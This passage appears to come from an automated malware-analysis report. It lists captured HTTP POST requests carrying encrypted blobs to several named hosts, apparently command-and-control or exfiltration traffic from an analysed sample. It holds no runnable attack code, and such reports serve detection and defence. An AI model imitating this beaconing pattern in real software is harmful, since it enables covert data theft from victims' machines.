62 4f 36 64 46 57 65 34 73 6c 58 48 30 61 49 4a 2f 4a 45 68 35 57 69 75 6e 6c 48 59 30 4f 35 38 67 71 34 75 34 63 34 32 45 68 68 5a 4e 6b 42 75 59 5a 41 72 35 6c 78 47 52 6f 46 78 50 6b 6f 42 78 73 48 44 50 50 39 6b 38 4f 44 6d 2b 2b 47 34 30 36 36 42 4e 31 50 77 73 75 66 33 72 43 53 67 59 4e 65 54 76 44 44 59 70 79 39 6c 67 6f 58 4e 7a 41 53 6b 61 38 68 39 34 32 65 57 6e 47 37 6e 68 71 6d 43 67 33 68 4a 30 7a 34 54 35 78 33 43 4f 6c 44 48 44 68 6b 76 74 50 4f 4f 79 35 2b 5a 42 48 69 6c 72 38 4e 68 67 47 56 66 37 4a 61 71 49 6e 4d 67 67 6e 46 59 6c 79 6c 4f 4d 38 35 34 35 35 78 6a 4f 37 47 48 72 49 62 54 67 46 70 64 73 42 73 62 78 38 79 45 31 4c 6d 49 32 4e 72 6a 6f 56 62 77 38 55 45 37 71 38 46 56 38 34 4f 56 37 41 6e 73 53 59 7a 36 66 53 68 36 4a 42 38 65 68 4b 79 76 32 75 6b 37 49 52 59 36 34 64 77 44 31 55 5a 38 33 5a 51 75 50 36 43 53 5a 67 56 47 65 74 79 54 4e 67 67 4c 4e 76 46 2f 36 30 41 37 65 63 5a 4b 35 49 61 46 41 78 65 36 64 69 56 6d 45 71 4e 6b 61 74 75 33 31 37 51 36 30 68 49 46 72 41 30 6e 67 41 77 37 72 4e 76 77 3d 3d Data Ascii: iKTpgPIiqleBMPccJSWh4/UwIK7CqTLiRthB3rwISJxzYeMvM8Z0Kr3sjllaWaaWI7r6XZNaViorXZucgMjoYZQirMi9p+OrsweDi2HJUABYWFdpCbZG+VN13C/eNPsYkgp7D2MGqsqFa9QX/k+KwY4dLsrIesW0xuW+p+mF+eraM0yaoLz9tvbc1j2fcbD7xbgw7uqoSzcjxxFjMxluLFaq74d6dv9nnUFhg8keyZghnf9rcDEMJKbO6dFWe4slXH0aIJ/JEh5WiunlHY0O58gq4u4c42EhhZNkBuYZAr5lxGRoFxPkoBxsHDPP9k8ODm++G4066BN1Pwsuf3rCSgYNeTvDDYpy9lgoXNzASka8h942eWnG7nhqmCg3hJ0z4T5x3COlDHDhkvtPOOy5+ZBHilr8NhgGVf7JaqInMggnFYlylOM85455xjO7GHrIbTgFpdsBsbx8yE1LmI2NrjoVbw8UE7q8FV84OV7AnsSYz6fSh6JB8ehKyv2uk7IRY64dwD1UZ83ZQuP6CSZgVGetyTNggLNvF/60A7ecZK5IaFAxe6diVmEqNkatu317Q60hIFrA0ngAw7rNvw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 76 79 42 6f 6f 39 6a 75 49 77 30 4e 2f 34 6d 54 32 79 53 45 69 38 74 33 48 6f 57 67 41 71 4f 69 6a 43 66 77 42 4f 56 57 75 63 53 78 2f 32 41 5a 43 4a 6a 36 50 61 6b 39 4a 70 53 63 4f 31 4f 50 2b 4c 41 66 34 72 30 51 30 39 35 76 32 62 77 71 65 4c 6e 36 6f 45 49 74 4f 72 53 53 6f 7a 73 4d 48 58 64 55 4c 59 46 33 6c 49 66 5a 68 76 77 4a 4c 63 63 55 30 62 66 50 44 55 6e 4d 43 4f 33 37 32 6f 4d 6f 64 53 72 47 72 39 52 42 64 48 69 49 71 2f 39 53 66 5a 68 35 66 51 6f 48 68 63 74 77 48 53 77 69 43 4c 55 67 31 72 38 65 78 6e 53 45 55 38 48 35 31 51 33 56 75 53 5a 68 71 30 50 4b 31 42 2b 54 73 78 78 52 56 45 5a 58 6d 4b 6a 6a 67 38 62 44 33 37 30 47 49 58 66 2b 30 2b 78 4d 65 36 51 73 36 73 53 48 50 39 71 34 61 69 61 4a 4d 6e 71 6c 78 61 6e 71 4f 35 4a 57 5a 5a 6f 6a 37 7a 71 73 77 49 38 55 78 6d 4e 54 58 38 76 4f 72 49 32 4e 6e 34 33 71 4e 39 42 6d 67 71 4b 6a 63 58 4c 72 64 59 66 71 39 4f 36 54 74 50 4f 31 2f 38 58 77 44 46 57 38 55 56 37 4a 6f 68 54 6a 4d 6c 42 41 44 77 69 46 39 45 63 62 76 63 72 4c 52 6c 46 6a 52 33 57 6c 56 65 55 4a 48 6a 4c 54 45 6c 78 48 31 5a 4b 73 4b 35 6d 50 4a 4b 48 49 6c 74 65 30 45 63 63 50 4e 58 39 4e 58 43 72 4f 31 42 59 68 72 4b 55 4c 4e 73 66 55 39 70 4e 45 6a 6d 44 71 72 36 48 71 7a 78 4e 39 6c 56 59 35 32 6d 30 4b 39 30 77 6d 44 78 76 36 68 33 55 66 37 6e 44 63 39 68 42 59 32 64 6f 53 41 4d 34 41 6b 43 48 69 61 70 56 4b 73 49 77 65 51 53 4a 54 51 56 4e 6a 33 50 6e 78 2b 66 50 57 4e 38 2f 42 58 4f 39 46 4e 56 79 32 39 45 63 32 39 65 68 39 6c 51 4b 64 4d 37 35 51 33 72 69 30 73 4a 30 57 39 35 47 4b 55 5a 70 6a 6b 63 63 50 72 66 4d 4f 2f 54 4f 71 73 2b 75 4d 4b 58 46 48 78 62 56 72 63 76 44 4d 42 78 68 32 6c 67 2b 78 7a 65 41 6d 2f 31 51 3d Data Ascii: vyBoo9juIw0N/4mT2ySEi8t3HoWgAqOijCfwBOVWucSx/2AZCJj6Pak9JpScO1OP+LAf4r0Q095v2bwqeLn6oEItOrSSozsMHXdULYF3lIfZhvwJLccU0bfPDUnMCO372oModSrGr9RBdHiIq/9SfZh5fQoHhctwHSwiCLUg1r8exnSEU8H51Q3VuSZhq0PK1B+TsxxRVEZXmKjjg8bD370GIXf+0+xMe6Qs6sSHP9q4aiaJMnqlxanqO5JWZZoj7zqswI8UxmNTX8vOrI2Nn43qN9BmgqKjcXLrdYfq9O6TtPO1/8XwDFW8UV7JohTjMlBADwiF9EcbvcrLRlFjR3WlVeUJHjLTElxH1ZKsK5mPJKHIlte0EccPNX9NXCrO1BYhrKULNsfU9pNEjmDqr6HqzxN9lVY52m0K90wmDxv6h3Uf7nDc9hBY2doSAM4AkCHiapVKsIweQSJTQVNj3Pnx+fPWN8/BXO9FNVy29Ec29eh9lQKdM75Q3ri0sJ0W95GKUZpjkccPrfMO/TOqs+uMKXFHxbVrcvDMBxh2lg+xzeAm/1Q=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 79 47 30 47 76 51 62 41 6e 77 7a 62 73 34 75 42 49 52 65 6b 52 79 6b 58 47 4a 46 6d 6e 76 31 44 6d 69 53 51 38 48 34 35 4c 57 75 4e 48 4a 46 48 57 2f 49 45 70 2f 34 51 6b 4b 72 35 69 32 53 6c 72 66 6e 70 6f 5a 32 7a 69 54 76 38 47 6d 34 6d 7a 77 67 6f 54 33 4f 71 56 6e 53 52 74 53 32 45 46 37 6d 72 77 66 2b 59 37 51 52 59 65 30 66 66 35 73 6e 48 33 66 55 79 73 6a 41 53 36 54 61 73 43 48 53 44 48 36 32 37 6a 56 30 38 44 39 68 32 4c 4a 51 49 6b 52 65 2b 69 6e 64 6a 2f 35 47 4c 35 62 2f 43 70 41 39 43 47 75 43 73 68 73 67 71 6d 72 6e 53 4a 4e 7a 61 2b 62 47 4d 78 6a 42 7a 64 57 63 62 33 70 49 30 64 7a 5a 61 66 34 4c 64 36 6b 47 77 38 2b 62 74 72 44 30 5a 5a 64 6c 64 4f 57 38 50 49 49 38 43 5a 59 41 31 73 68 4e 61 72 67 33 69 78 6a 6c 79 66 64 44 6a 65 62 49 6b 49 35 2b 71 70 51 4c 59 6a 47 79 38 37 4c 72 44 46 4f 50 76 46 68 6f 65 34 47 6e 50 30 68 41 4e 56 6f 4a 56 4e 54 4c 4e 66 42 76 44 36 42 74 6f 71 6e 74 73 33 70 54 59 4c 36 53 77 57 2f 4c 52 32 4b 41 57 38 6e 75 76 50 6c 63 50 66 6f 69 30 37 79 74 75 66 50 77 66 41 65 4c 65 62 6d 70 55 51 32 78 56 70 69 68 48 41 66 4e 79 79 63 74 42 56 38 73 71 4b 6a 35 2f 39 32 4d 72 72 6d 6f 53 6e 38 66 75 61 36 6b 43 66 43 63 6b 53 6f 31 7a 72 75 2b 37 4d 74 43 77 2b 53 78 6d 63 2b 43 4e 62 4f 37 6a 4d 46 70 4a 4e 6b 4f 76 2b 66 39 68 34 4a 4e 54 30 76 66 68 6b 75 57 6f 34 76 6c 49 55 79 69 4a 4d 78 48 6d 51 59 2b 37 55 53 70 71 78 49 45 6b 39 47 73 31 70 6e 32 69 59 34 77 74 70 4e 37 78 70 6f 2b 46 6b 64 32 43 30 6b 6b 71 6d 65 4b 51 64 31 42 70 75 43 55 47 33 36 38 41 45 79 51 61 59 55 53 39 4b 70 72 59 4a 37 48 54 31 2f 44 53 43 32 6f 48 36 4f 30 54 6d 78 69 5a 4b 34 47 37 72 7a 72 59 36 4a 45 3d Data Ascii: yG0GvQbAnwzbs4uBIRekRykXGJFmnv1DmiSQ8H45LWuNHJFHW/IEp/4QkKr5i2SlrfnpoZ2ziTv8Gm4mzwgoT3OqVnSRtS2EF7mrwf+Y7QRYe0ff5snH3fUysjAS6TasCHSDH627jV08D9h2LJQIkRe+indj/5GL5b/CpA9CGuCshsgqmrnSJNza+bGMxjBzdWcb3pI0dzZaf4Ld6kGw8+btrD0ZZdldOW8PII8CZYA1shNarg3ixjlyfdDjebIkI5+qpQLYjGy87LrDFOPvFhoe4GnP0hANVoJVNTLNfBvD6Btoqnts3pTYL6SwW/LR2KAW8nuvPlcPfoi07ytufPwfAeLebmpUQ2xVpihHAfNyyctBV8sqKj5/92MrrmoSn8fua6kCfCckSo1zru+7MtCw+Sxmc+CNbO7jMFpJNkOv+f9h4JNT0vfhkuWo4vlIUyiJMxHmQY+7USpqxIEk9Gs1pn2iY4wtpN7xpo+Fkd2C0kkqmeKQd1BpuCUG368AEyQaYUS9KprYJ7HT1/DSC2oH6O0TmxiZK4G7rzrY6JE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 4e 63 6a 64 61 61 6b 4d 6e 51 78 57 4e 38 56 4c 65 4f 33 30 72 38 4a 43 67 76 39 48 68 2b 52 75 37 56 6b 36 63 37 50 57 32 71 31 44 41 71 6b 55 65 4b 77 65 38 4c 45 41 6b 51 71 78 2f 32 65 71 30 48 7a 4b 6f 55 36 2f 6e 56 41 2b 52 5a 74 2b 33 66 68 72 52 73 2f 77 37 68 53 50 39 35 37 55 36 35 58 39 70 2f 70 62 78 50 70 6f 55 65 63 30 51 36 67 44 55 49 39 68 4a 4c 6e 50 59 79 34 45 57 64 4c 50 68 78 41 6b 46 6d 76 39 56 66 66 53 53 7a 4e 63 68 4f 35 53 53 51 58 57 47 6f 44 61 6c 7a 76 2b 66 76 57 47 41 79 42 41 79 79 68 72 6c 48 4e 55 63 54 4a 4d 6b 6b 7a 56 75 47 4d 79 46 44 71 67 49 6a 76 46 4e 4b 56 64 55 42 63 44 59 77 33 6a 36 77 4b 36 35 51 74 6e 39 46 56 55 30 79 48 42 53 4e 41 56 6a 53 6b 65 63 51 36 35 56 31 4f 38 57 4b 53 53 7a 53 34 51 43 5a 47 32 35 35 32 4e 35 33 35 75 61 58 50 78 63 6f 55 30 2b 71 38 4c 71 34 61 78 71 4b 78 6a 4a 39 42 48 32 58 47 57 6f 71 42 54 74 64 67 75 49 7a 72 54 6c 56 48 38 76 6e 67 32 38 77 55 58 57 75 64 50 2b 33 7a 62 58 66 6c 69 44 50 4e 74 7a 43 41 6c 79 6e 59 68 4e 52 47 36 4c 74 46 4a 56 6a 35 36 7a 37 62 70 67 2f 2b 48 75 53 52 61 6f 6c 48 75 2b 56 68 37 4d 6d 41 68 71 73 6a 54 55 51 38 42 73 33 71 52 36 71 54 6f 61 35 38 59 56 48 33 57 6f 77 41 6f 64 33 73 61 2b 43 55 63 7a 57 4a 38 2f 66 74 6e 43 51 54 63 4f 48 51 67 53 42 45 6f 42 6b 54 57 59 46 36 66 2f 43 6d 55 68 73 46 58 6c 78 63 34 32 62 4d 38 38 30 31 66 5a 6e 71 53 44 55 75 48 4f 34 44 52 49 2b 56 35 57 63 47 6d 45 71 45 43 61 79 6b 72 42 47 61 67 56 6d 4f 78 54 6f 49 31 56 69 79 47 76 2f 53 41 61 68 30 72 37 42 78 64 35 33 7a 42 79 4b 42 46 38 77 71 2f 63 72 2f 68 79 63 71 75 42 6e 4e 48 61 71 41 6f 71 48 52 6b 2f 50 32 55 66 55 62 67 42 41 3d 3d Data Ascii: NcjdaakMnQxWN8VLeO30r8JCgv9Hh+Ru7Vk6c7PW2q1DAqkUeKwe8LEAkQqx/2eq0HzKoU6/nVA+RZt+3fhrRs/w7hSP957U65X9p/pbxPpoUec0Q6gDUI9hJLnPYy4EWdLPhxAkFmv9VffSSzNchO5SSQXWGoDalzv+fvWGAyBAyyhrlHNUcTJMkkzVuGMyFDqgIjvFNKVdUBcDYw3j6wK65Qtn9FVU0yHBSNAVjSkecQ65V1O8WKSSzS4QCZG2552N535uaXPxcoU0+q8Lq4axqKxjJ9BH2XGWoqBTtdguIzrTlVH8vng28wUXWudP+3zbXfliDPNtzCAlynYhNRG6LtFJVj56z7bpg/+HuSRaolHu+Vh7MmAhqsjTUQ8Bs3qR6qToa58YVH3WowAod3sa+CUczWJ8/ftnCQTcOHQgSBEoBkTWYF6f/CmUhsFXlxc42bM8801fZnqSDUuHO4DRI+V5WcGmEqECaykrBGagVmOxToI1ViyGv/SAah0r7Bxd53zByKBF8wq/cr/hycquBnNHaqAoqHRk/P2UfUbgBA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 73 58 46 44 53 61 7a 68 54 46 65 2b 39 52 45 64 6c 2f 45 4d 56 37 2f 78 79 6c 73 45 59 47 6d 51 6f 50 31 7a 4d 79 49 38 2f 42 30 37 68 32 56 59 45 64 44 2b 55 64 6f 32 39 50 74 34 32 67 51 55 53 31 4c 77 59 59 64 75 30 63 57 68 71 48 51 48 68 64 63 37 4c 4f 2b 2b 6a 57 74 50 49 4f 47 33 6b 41 53 78 6b 56 2f 4c 4b 62 6c 62 55 67 68 31 65 74 39 31 6f 33 47 44 4d 4f 71 4a 69 2b 43 57 79 4d 50 41 58 51 32 4c 74 53 4c 36 6b 79 41 42 38 66 65 6e 4c 59 6a 75 37 5a 55 5a 64 53 4b 4a 72 70 46 54 4d 5a 7a 73 70 52 73 64 48 59 6d 38 50 52 31 49 66 70 44 65 63 43 5a 65 56 6f 52 6b 4f 64 6b 2b 43 47 76 75 38 64 6c 63 64 45 71 6f 67 37 4b 2b 4f 4c 73 37 2b 61 51 2f 74 36 67 39 59 4a 6c 54 78 33 2f 52 65 6f 77 48 79 59 71 59 47 56 68 65 49 73 6b 49 52 65 75 77 2f 37 32 47 67 52 70 69 41 6c 5a 69 34 79 45 51 38 6d 41 35 4b 44 56 76 4f 4d 52 43 71 69 35 58 73 65 37 47 77 77 57 58 4a 47 52 79 53 39 6b 51 48 39 39 37 47 56 47 32 6e 6b 5a 38 6c 2b 67 43 34 61 6f 45 2b 67 7a 69 6b 6f 5a 56 67 72 51 79 42 31 41 7a 41 51 64 45 65 37 4d 35 7a 31 35 58 53 39 46 58 71 75 72 6f 6d 57 61 35 54 72 6d 43 65 53 77 77 33 6f 33 38 66 71 71 67 63 42 46 4d 70 33 72 58 79 4d 71 64 79 46 68 6e 76 5a 6a 74 52 70 2f 2b 6c 64 4e 2b 38 41 35 4d 62 2f 42 33 6d 36 47 64 5a 37 6a 6f 78 6a 76 6b 4f 32 2f 71 48 68 44 32 49 70 45 6e 4f 78 39 35 79 50 46 41 73 77 4f 69 4f 4f 61 41 45 50 76 34 33 7a 69 4d 48 45 34 53 75 62 41 57 50 6f 43 42 35 31 50 6d 66 4a 34 49 35 4c 68 31 33 43 64 39 6b 46 34 57 7a 30 34 43 2f 75 46 64 70 50 39 56 41 49 4e 31 63 54 48 34 4a 41 66 41 56 41 35 33 34 50 33 42 65 2f 6b 42 55 62 2b 4d 52 4a 79 65 4e 35 75 59 43 36 57 79 47 39 66 59 36 33 77 73 77 55 70 6e 33 35 73 39 69 67 67 4c 6a 69 37 52 34 71 34 33 72 34 38 31 39 57 62 4d 6a 52 75 33 5a 53 37 50 5a 31 35 6e 4b 51 3d 3d Data Ascii: sXFDSazhTFe+9REdl/EMV7/xylsEYGmQoP1zMyI8/B07h2VYEdD+Udo29Pt42gQUS1LwYYdu0cWhqHQHhdc7LO++jWtPIOG3kASxkV/LKblbUgh1et91o3GDMOqJi+CWyMPAXQ2LtSL6kyAB8fenLYju7ZUZdSKJrpFTMZzspRsdHYm8PR1IfpDecCZeVoRkOdk+CGvu8dlcdEqog7K+OLs7+aQ/t6g9YJlTx3/ReowHyYqYGVheIskIReuw/72GgRpiAlZi4yEQ8mA5KDVvOMRCqi5Xse7GwwWXJGRyS9kQH997GVG2nkZ8l+gC4aoE+gzikoZVgrQyB1AzAQdEe7M5z15XS9FXquromWa5TrmCeSww3o38fqqgcBFMp3rXyMqdyFhnvZjtRp/+ldN+8A5Mb/B3m6GdZ7joxjvkO2/qHhD2IpEnOx95yPFAswOiOOaAEPv43ziMHE4SubAWPoCB51PmfJ4I5Lh13Cd9kF4Wz04C/uFdpP9VAIN1cTH4JAfAVA534P3Be/kBUb+MRJyeN5uYC6WyG9fY63wswUpn35s9iggLji7R4q43r4819WbMjRu3ZS7PZ15nKQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 41 2f 76 51 37 50 6e 6b 7a 6c 63 6f 50 2f 68 65 69 4d 70 38 66 5a 4c 50 70 67 37 58 6e 53 71 45 50 52 64 32 45 6b 56 6d 59 4d 72 66 72 42 6a 69 2b 44 35 6f 7a 52 77 41 54 44 73 41 48 61 44 47 77 2f 48 41 4d 31 68 59 4c 59 71 57 66 4f 5a 50 38 47 77 4d 71 51 4b 34 33 75 44 6d 6b 66 77 73 69 2b 61 33 57 47 42 65 4a 5a 54 75 6f 62 45 4d 4c 45 30 6b 55 5a 30 79 6e 50 4a 48 34 54 41 31 4e 35 6a 6d 4a 6d 4f 70 45 75 41 41 6a 74 4f 73 44 5a 6a 66 4b 48 2b 6e 77 59 51 69 54 76 7a 72 51 5a 49 56 48 53 36 38 52 58 4a 61 35 6d 71 31 42 38 66 4f 42 42 51 4d 56 78 51 67 68 65 72 39 4c 30 7a 4b 59 6e 49 42 34 31 47 4d 5a 74 67 6b 41 6c 44 67 64 64 32 71 41 4f 41 72 31 74 30 39 57 4b 61 4f 69 56 6f 68 74 62 34 63 48 35 46 7a 46 34 4b 2b 36 39 74 43 4e 6d 34 2b 6a 4c 37 75 76 32 36 49 41 45 4b 39 68 65 58 4e 44 66 4f 67 30 59 77 52 59 74 57 30 49 6d 73 44 77 72 32 39 37 46 4d 4a 65 65 6c 74 36 2b 66 77 65 44 6d 58 4b 71 59 30 49 57 39 5a 54 4a 58 6f 45 76 61 4e 35 74 2f 46 55 52 71 49 46 52 31 2b 57 2b 37 53 6a 5a 35 4d 30 64 71 36 47 67 57 73 62 76 78 52 2f 6f 56 69 45 76 67 68 72 61 4b 66 54 45 71 42 4d 76 50 50 31 38 43 64 42 73 65 6d 32 59 63 62 63 4a 57 67 34 6d 75 68 64 74 36 6c 76 63 54 65 30 47 30 71 37 7a 4d 52 72 79 43 64 38 37 4e 46 66 49 57 54 7a 43 39 6b 30 33 44 48 45 55 32 50 74 4c 7a 35 6e 6c 7a 2f 44 45 49 45 47 4c 4b 6b 49 7a 4c 32 46 54 5a 72 74 65 6b 4a 63 71 73 58 49 70 56 50 30 70 70 47 41 6e 70 4d 74 4c 45 4b 61 6e 53 79 38 34 32 34 6e 74 38 2f 51 54 36 52 4a 30 6a 48 34 79 42 54 49 58 67 41 70 38 58 67 47 58 48 6b 34 4a 6d 5a 4b 41 66 61 4c 38 52 68 30 6b 61 38 56 73 75 39 33 72 2b 4f 4e 6b 53 6f 63 77 31 72 67 51 7a 53 5a 49 39 6c 30 71 4d 38 32 51 4d 4e 42 72 70 39 72 4f 34 4c 42 34 49 3d Data Ascii: A/vQ7PnkzlcoP/heiMp8fZLPpg7XnSqEPRd2EkVmYMrfrBji+D5ozRwATDsAHaDGw/HAM1hYLYqWfOZP8GwMqQK43uDmkfwsi+a3WGBeJZTuobEMLE0kUZ0ynPJH4TA1N5jmJmOpEuAAjtOsDZjfKH+nwYQiTvzrQZIVHS68RXJa5mq1B8fOBBQMVxQgher9L0zKYnIB41GMZtgkAlDgdd2qAOAr1t09WKaOiVohtb4cH5FzF4K+69tCNm4+jL7uv26IAEK9heXNDfOg0YwRYtW0ImsDwr297FMJeelt6+fweDmXKqY0IW9ZTJXoEvaN5t/FURqIFR1+W+7SjZ5M0dq6GgWsbvxR/oViEvghraKfTEqBMvPP18CdBsem2YcbcJWg4muhdt6lvcTe0G0q7zMRryCd87NFfIWTzC9k03DHEU2PtLz5nlz/DEIEGLKkIzL2FTZrtekJcqsXIpVP0ppGAnpMtLEKanSy8424nt8/QT6RJ0jH4yBTIXgAp8XgGXHk4JmZKAfaL8Rh0ka8Vsu93r+ONkSocw1rgQzSZI9l0qM82QMNBrp9rO4LB4I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 75 63 4c 66 57 66 58 38 64 6c 66 62 75 6b 51 4f 58 47 6b 77 79 75 34 77 58 53 43 44 71 38 7a 38 2b 51 68 73 77 4d 39 4f 79 78 4e 64 36 65 57 76 62 42 4b 43 6f 62 7a 35 67 35 44 48 44 74 71 51 36 38 4d 6d 4e 43 4d 51 68 58 69 2b 53 35 77 52 69 39 44 48 76 73 76 43 78 34 47 69 79 63 74 64 31 62 77 4c 55 74 6d 79 73 5a 54 47 32 56 35 6b 68 54 49 78 33 51 4f 78 57 45 69 4f 36 77 73 62 48 78 55 52 32 4b 7a 6d 32 66 67 58 31 33 77 55 75 4c 38 32 5a 49 44 46 4d 6a 2f 72 64 4e 70 59 31 38 50 7a 35 32 53 35 49 2b 52 34 31 67 31 41 6c 38 4c 77 6b 72 76 45 64 5a 5a 51 6c 58 73 56 61 68 6e 5a 74 34 36 52 47 70 65 7a 38 35 39 39 36 4c 32 66 52 4d 73 45 67 71 37 39 46 6d 73 57 5a 61 6d 4b 4c 6a 75 75 54 72 4d 59 30 72 61 38 65 57 78 73 61 4b 34 5a 6a 45 52 4c 55 4f 45 43 4a 36 42 43 6f 65 77 53 56 77 47 41 36 5a 37 62 55 37 4c 63 7a 2f 76 62 79 53 4e 64 7a 46 64 6e 50 4a 67 4e 6c 64 6f 62 46 47 53 52 36 4b 32 75 33 65 4c 4a 33 71 6a 72 35 62 63 37 73 45 36 61 42 34 74 75 41 57 55 74 30 2b 7a 54 71 53 35 61 44 39 51 6e 51 41 32 2f 67 66 2b 58 68 70 57 2b 42 66 32 78 4f 69 73 4c 39 2f 63 63 61 6e 57 37 76 43 4b 70 71 32 4e 33 64 53 52 30 46 30 6b 71 42 6b 54 49 6c 6d 31 50 71 58 76 35 74 69 70 74 59 64 58 70 5a 52 54 33 37 70 4f 76 35 6d 2f 72 35 2b 6e 61 39 64 2f 67 34 63 61 47 47 31 53 37 76 6c 75 72 59 4a 49 54 58 36 78 78 4c 35 30 4c 78 31 34 6f 48 4f 37 30 36 51 43 6d 52 34 62 72 73 73 4d 36 32 55 72 33 5a 66 76 45 64 4d 70 45 6b 5a 68 66 4c 75 6f 79 64 33 78 35 48 4c 62 75 37 38 53 66 6a 74 76 6a 69 72 4d 76 59 58 61 52 46 65 4d 30 4d 58 4c 31 44 67 38 58 6b 6c 39 4b 6b 57 74 5a 33 59 2f 6f 58 2b 4c 4a 36 63 63 52 61 44 69 59 64 75 72 79 2f 53 37 58 30 45 31 35 42 33 36 76 71 56 79 74 4c 41 3d 3d Data Ascii: ucLfWfX8dlfbukQOXGkwyu4wXSCDq8z8+QhswM9OyxNd6eWvbBKCobz5g5DHDtqQ68MmNCMQhXi+S5wRi9DHvsvCx4Giyctd1bwLUtmysZTG2V5khTIx3QOxWEiO6wsbHxUR2Kzm2fgX13wUuL82ZIDFMj/rdNpY18Pz52S5I+R41g1Al8LwkrvEdZZQlXsVahnZt46RGpez85996L2fRMsEgq79FmsWZamKLjuuTrMY0ra8eWxsaK4ZjERLUOECJ6BCoewSVwGA6Z7bU7Lcz/vbySNdzFdnPJgNldobFGSR6K2u3eLJ3qjr5bc7sE6aB4tuAWUt0+zTqS5aD9QnQA2/gf+XhpW+Bf2xOisL9/ccanW7vCKpq2N3dSR0F0kqBkTIlm1PqXv5tiptYdXpZRT37pOv5m/r5+na9d/g4caGG1S7vlurYJITX6xxL50Lx14oHO706QCmR4brssM62Ur3ZfvEdMpEkZhfLuoyd3x5HLbu78SfjtvjirMvYXaRFeM0MXL1Dg8Xkl9KkWtZ3Y/oX+LJ6ccRaDiYdury/S7X0E15B36vqVytLA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 34 58 74 51 79 55 31 65 33 6c 66 58 63 2b 37 66 78 47 76 52 67 51 59 55 32 4c 36 37 73 39 30 73 30 5a 4e 70 58 71 78 77 6f 55 48 4f 6f 32 4e 54 7a 6f 43 63 61 65 65 71 44 42 4c 32 47 75 6f 66 4a 6e 75 41 71 72 4d 33 55 36 4b 2b 51 4f 47 4b 5a 4c 31 79 68 64 78 35 39 76 6c 62 76 58 35 5a 72 48 2b 45 54 78 56 6b 63 34 69 79 46 4f 69 64 46 37 53 67 75 4a 54 59 7a 55 70 4b 46 58 30 7a 52 78 36 42 39 4a 78 75 50 39 4e 54 56 38 75 49 61 59 47 67 56 64 41 50 64 39 69 4a 75 50 47 65 7a 46 37 66 30 36 6a 41 52 4f 62 75 77 72 75 69 71 31 41 49 66 4d 4f 34 41 6e 44 41 63 33 2b 46 57 31 72 67 67 46 69 36 5a 35 71 79 62 37 44 69 31 5a 4e 35 4a 73 59 57 43 4f 50 6b 69 70 4a 31 55 73 72 74 6a 6f 53 6d 4f 6d 4d 6a 6c 75 36 79 34 4a 71 77 43 73 62 75 65 2f 47 67 57 2f 5a 39 57 56 78 2b 57 4d 61 68 79 41 57 48 41 6a 43 6d 71 61 50 78 69 53 59 59 75 52 36 42 34 64 65 58 54 34 79 42 63 69 68 48 4f 53 4f 6a 51 44 58 37 36 5a 4a 50 53 36 4c 77 30 7a 49 32 6e 75 47 64 6e 58 65 6e 32 6e 52 36 49 67 70 76 57 58 66 4a 37 2f 2b 6c 53 47 37 45 4e 4c 39 64 58 43 70 4d 6c 73 61 6c 66 2b 67 67 66 67 61 4a 33 65 36 34 42 33 4b 31 42 68 49 61 48 72 67 6b 43 61 59 73 34 30 59 6d 32 41 41 2f 38 31 46 4a 67 64 63 45 6e 63 74 4b 34 6d 64 4d 47 75 49 4b 4f 2f 30 35 78 42 7a 30 76 5a 2f 77 66 56 67 39 76 64 48 7a 68 46 42 2f 63 63 72 32 63 79 55 56 45 56 71 48 75 61 51 52 78 48 48 42 43 42 44 63 43 62 43 61 4f 77 65 53 35 6a 55 58 67 32 56 65 44 4c 61 77 38 2b 7a 46 56 53 6b 4f 5a 67 56 64 70 65 2f 71 2f 42 41 43 66 50 6a 31 58 6f 47 35 6d 34 6a 58 77 73 70 45 65 46 31 2f 42 70 76 4b 45 31 77 44 6c 49 72 2f 5a 39 41 70 42 4a 72 66 61 2b 38 6e 4d 50 33 47 59 47 47 45 4e 2b 48 61 78 63 2f 64 49 76 4a 6f 64 2f 4b 33 47 4d 2f 67 72 37 65 49 45 65 57 73 58 31 37 69 73 75 41 4e 54 48 34 54 79 74 68 6a 39 4d 69 67 78 50 68 43 Data Ascii: 